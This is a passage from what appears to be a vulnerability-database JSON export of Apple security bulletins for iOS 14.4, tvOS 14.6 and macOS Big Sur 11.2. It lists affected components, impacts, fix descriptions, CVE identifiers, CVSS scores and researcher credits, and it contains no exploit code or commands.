2021\n\n**WebRTC**\n\nWe would like to acknowledge Philipp Hancke for their assistance.\n\nEntry added February 1, 2021\n\n**Wi-Fi**\n\nWe would like to acknowledge an anonymous researcher for their assistance.\n\nEntry added February 1, 2021\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 23, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-26T00:00:00", "type": "apple", "title": "About the security content of iOS 14.4 and iPadOS 14.4", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1737", "CVE-2021-1738", "CVE-2021-1741", "CVE-2021-1742", "CVE-2021-1743", "CVE-2021-1744", "CVE-2021-1745", "CVE-2021-1746", "CVE-2021-1747", "CVE-2021-1748", "CVE-2021-1750", "CVE-2021-1753", "CVE-2021-1754", "CVE-2021-1756", "CVE-2021-1757", "CVE-2021-1758", "CVE-2021-1759", "CVE-2021-1760", "CVE-2021-1761", "CVE-2021-1762", "CVE-2021-1763", "CVE-2021-1764", "CVE-2021-1766", "CVE-2021-1767", "CVE-2021-1768", "CVE-2021-1769", "CVE-2021-1772", "CVE-2021-1773", "CVE-2021-1774", "CVE-2021-1776", "CVE-2021-1778", "CVE-2021-1780", "CVE-2021-1781", "CVE-2021-1782", "CVE-2021-1783", "CVE-2021-1785", "CVE-2021-1786", "CVE-2021-1787", "CVE-2021-1788", "CVE-2021-1789", "CVE-2021-1791", "CVE-2021-1792", "CVE-2021-1793", "CVE-2021-1794", "CVE-2021-1795", "CVE-2021-1796", "CVE-2021-1797", "CVE-2021-1799", "CVE-2021-1801", "CVE-2021-1818", "CVE-2021-1838", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-30869"], "modified": "2021-01-26T00:00:00", "id": "APPLE:341D114D330F307514C2721DBB8BFACA", "href": "https://support.apple.com/kb/HT212146", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T22:02:31", "description": "# About the security content of tvOS 14.6\n\nThis document describes the security content of tvOS 14.6.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 14.6\n\nReleased May 24, 2021\n\n**Audio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30707: hjy79425575 working with Trend Micro Zero Day Initiative\n\n**Audio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Parsing a maliciously crafted audio file may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30685: Mickey Jin (@patch1t) of Trend Micro\n\n**CoreAudio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted audio file may disclose restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30686: Mickey Jin of Trend Micro\n\n**CoreText**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An out-of-bounds read was addressed with improved input validation\n\nDescription: Processing a maliciously crafted font may result in the disclosure of process memory.\n\nCVE-2021-30753: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-30733: Sunglin from the Knownsec 404\n\nEntry added July 21, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30727: Cees Elzinga\n\n**CVMS**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30724: Mickey Jin (@patch1t) of Trend Micro\n\n**FontParser**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-30771: Mickey Jin (@patch1t) of Trend Micro, CFF of Topsec Alpha Team\n\nEntry added January 19, 2022\n\n**FontParser**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An out-of-bounds read was addressed with improved input validation\n\nDescription: Processing a maliciously crafted font may result in the disclosure of process memory.\n\nCVE-2021-30755: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added July 21, 2021\n\n**Heimdal**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local user may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30697: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may cause a denial of service or potentially disclose memory contents\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30710: Gabe Kirkpatrick (@gabe_k)\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30687: Hou JingYi (@hjy79425575) of Qihoo 360\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30700: Ye Zhang(@co0py_Cat) of Baidu Security\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30701: Mickey Jin (@patch1t) of Trend Micro and Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted ASTC file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30705: Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: This issue was addressed with improved checks\n\nDescription: Processing a maliciously crafted image may lead to disclosure of user information.\n\nCVE-2021-30706: Anonymous working with Trend Micro Zero Day Initiative, Jzhu working with Trend Micro Zero Day Initiative\n\nEntry added July 21, 2021\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-30740: Linus Henze (pinauten.de)\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30704: an anonymous researcher\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30715: The UK's National Cyber Security Centre (NCSC)\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2021-30736: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A double free issue was addressed with improved memory management\n\nDescription: An application may be able to execute arbitrary code with kernel privileges.\n\nCVE-2021-30703: an anonymous researcher\n\nEntry added July 21, 2021\n\n**LaunchServices**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: This issue was addressed with improved environment sanitization.\n\nCVE-2021-30677: Ron Waisberg (@epsilan)\n\n**Security**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted certificate may lead to arbitrary code execution\n\nDescription: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code.\n\nCVE-2021-30737: xerub\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30665: yangkang (@dnpushme)&zerokeeper&bianliang of 360 ATA\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A cross-origin issue with iframe elements was addressed with improved tracking of security origins.\n\nCVE-2021-30744: Dan Hite of jsontop\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-21779: Marcin Towalski of Cisco Talos\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30682: an anonymous researcher and 1lastBr3ath\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30689: an anonymous researcher\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2021-30749: an anonymous researcher and mipu94 of SEFCOM lab, ASU. working with Trend Micro Zero Day Initiative\n\nCVE-2021-30734: Jack Dates of RET2 Systems, Inc. (@ret2systems) working with Trend Micro Zero Day Initiative\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30720: David Sch\u00fctz (@xdavidhu)\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: An integer overflow was addressed with improved input validation.\n\nCVE-2021-30663: an anonymous researcher\n\n\n\n## Additional recognition\n\n**ImageIO**\n\nWe would like to acknowledge Jzhu working with Trend Micro Zero Day Initiative and an anonymous researcher for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Chris Salls (@salls) of Makai Security for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: January 19, 2022\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-05-24T00:00:00", "type": "apple", "title": "About the security content of tvOS 14.6", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21779", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30677", "CVE-2021-30682", "CVE-2021-30685", "CVE-2021-30686", "CVE-2021-30687", "CVE-2021-30689", "CVE-2021-30697", "CVE-2021-30700", "CVE-2021-30701", "CVE-2021-30703", "CVE-2021-30704", "CVE-2021-30705", "CVE-2021-30706", "CVE-2021-30707", "CVE-2021-30710", "CVE-2021-30715", "CVE-2021-30720", "CVE-2021-30724", "CVE-2021-30727", "CVE-2021-30733", "CVE-2021-30734", "CVE-2021-30736", "CVE-2021-30737", "CVE-2021-30740", "CVE-2021-30744", "CVE-2021-30749", "CVE-2021-30753", "CVE-2021-30755", "CVE-2021-30771"], "modified": "2021-05-24T00:00:00", "id": "APPLE:63DD59AAEDECD46C156A7668A930E353", "href": "https://support.apple.com/kb/HT212532", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-19T04:41:49", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave\n\nReleased February 1, 2021\n\n**Analytics**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\n**APFS**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A local user may be able to read arbitrary files\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-1797: Thomas Tempelmann\n\n**CFNetwork Cache**\n\nAvailable for: macOS Catalina 10.15.7 and macOS Mojave 10.14.6\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: An integer overflow was addressed with improved input validation.\n\nCVE-2020-27945: Zhuo Liang of Qihoo 360 Vulcan Team\n\n**CoreAnimation**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-1760: @S0rryMybad of 360 Vulcan Team\n\n**CoreAudio**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1747: JunDong Xie of Ant Security Light-Year Lab\n\n**CoreGraphics**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-1776: Ivan Fratric of Google Project Zero\n\n**CoreMedia**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1759: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\n**CoreText**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2021-1772: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**CoreText**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1792: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Crash Reporter**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\n**Crash Reporter**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1787: James Hutchins\n\n**Crash Reporter**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A local user may be able to create or modify system files\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security\n\n**Directory Utility**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: A malicious application may be able to access private information\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2020-27937: Wojciech Regu\u0142a (@_r3ggi) of SecuRing\n\n**Endpoint Security**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1802: Zhongcheng Li (@CK01) from WPS Security Response Center\n\n**FairPlay**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious application may be able to disclose kernel memory\n\nDescription: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.\n\nCVE-2021-1791: Junzhi Lu (@pwn0rz), Qi Sun & Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**FontParser**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: Processing a maliciously crafted font may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1790: Peter Nguyen Vu Hoang of STAR Labs\n\n**FontParser**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted font may lead to arbitrary code execution\n\nDescription: This issue was addressed by removing the vulnerable code.\n\nCVE-2021-1775: Mickey Jin and Qi Sun of Trend Micro\n\n**FontParser**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2020-29608: Xingwei Lin of Ant Security Light-Year Lab\n\n**FontParser**\n\nAvailable for: macOS Big Sur 11.0.1 and macOS Catalina 10.15.7\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1758: Peter Nguyen of STAR Labs\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2021-1783: Xingwei Lin of Ant Security Light-Year Lab\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1741: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1743: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, Xingwei Lin of Ant Security Light-Year Lab\n\n** \nImageIO**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1773: Xingwei Lin of Ant Security Light-Year Lab\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: An out-of-bounds read issue existed in the curl. This issue was addressed with improved bounds checking.\n\nCVE-2021-1778: Xingwei Lin of Ant Security Light-Year Lab\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1 and macOS Catalina 10.15.7\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1736: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1785: Xingwei Lin of Ant Security Light-Year Lab\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1766: Danny Rosseau of Carve Systems\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1 and macOS Catalina 10.15.7\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin from Ant-Financial Light-Year Security Lab\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1 and macOS Catalina 10.15.7\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1742: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1746: Mickey Jin & Qi Sun of Trend Micro, Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1754: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1774: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1777: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1793: Xingwei Lin of Ant Security Light-Year Lab\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1 and macOS Catalina 10.15.7\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1737: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1738: Lei Sun\n\nCVE-2021-1744: Xingwei Lin of Ant Security Light-Year Lab\n\n**IOKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A logic error in kext loading was addressed with improved state handling.\n\nCVE-2021-1779: Csaba Fitzl (@theevilbit) of Offensive Security\n\n**IOSkywalkFamily**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1757: Pan ZhenPeng (@Peterpan0927) of Alibaba Security, Proteas\n\n**Kernel**\n\nAvailable for: macOS Catalina 10.15.7 and macOS Mojave 10.14.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue existed resulting in memory corruption. This was addressed with improved state management.\n\nCVE-2020-27904: Zuozhi Fan (@pattern_F_) of Ant Group Tianqiong Security Lab\n\n**Kernel**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1764: @m00nbsd\n\n**Kernel**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1782: an anonymous researcher\n\n**Kernel**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1750: @0xalsr\n\n**Login Window**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: An attacker in a privileged network position may be able to bypass authentication policy\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2020-29633: Jewel Lambert of Original Spin, LLC.\n\n**Messages**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A user that is removed from an iMessage group could rejoin the group\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1771: Shreyas Ranganatha (@strawsnoceans)\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1762: Mickey Jin of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: Processing a maliciously crafted file may lead to heap corruption\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2020-29614: ZhiWei Sun (@5n1p3r0010) from Topsec Alpha Lab\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved bounds checking.\n\nCVE-2021-1763: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted image may lead to heap corruption\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1767: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1745: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1753: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1768: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**NetFSFramework**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Mounting a maliciously crafted Samba network share may lead to arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1751: Mikko Kentt\u00e4l\u00e4 (@Turmio_) of SensorFu\n\n**OpenLDAP**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2020-25709\n\n**Power Management**\n\nAvailable for: macOS Mojave 10.14.6, macOS Catalina 10.15.7\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2020-27938: Tim Michaud (@TimGMichaud) of Leviathan\n\n**Screen Sharing**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Multiple issues in pcre\n\nDescription: Multiple issues were addressed by updating to version 8.44.\n\nCVE-2019-20838\n\nCVE-2020-14155\n\n**SQLite**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: Multiple issues in SQLite\n\nDescription: Multiple issues were addressed with improved checks.\n\nCVE-2020-15358\n\n**Swift**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-1769: CodeColorist of Ant-Financial Light-Year Labs\n\n**WebKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1788: Francisco Alonso (@revskills)\n\n**WebKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2021-1765: Eliya Stein of Confiant\n\nCVE-2021-1801: Eliya Stein of 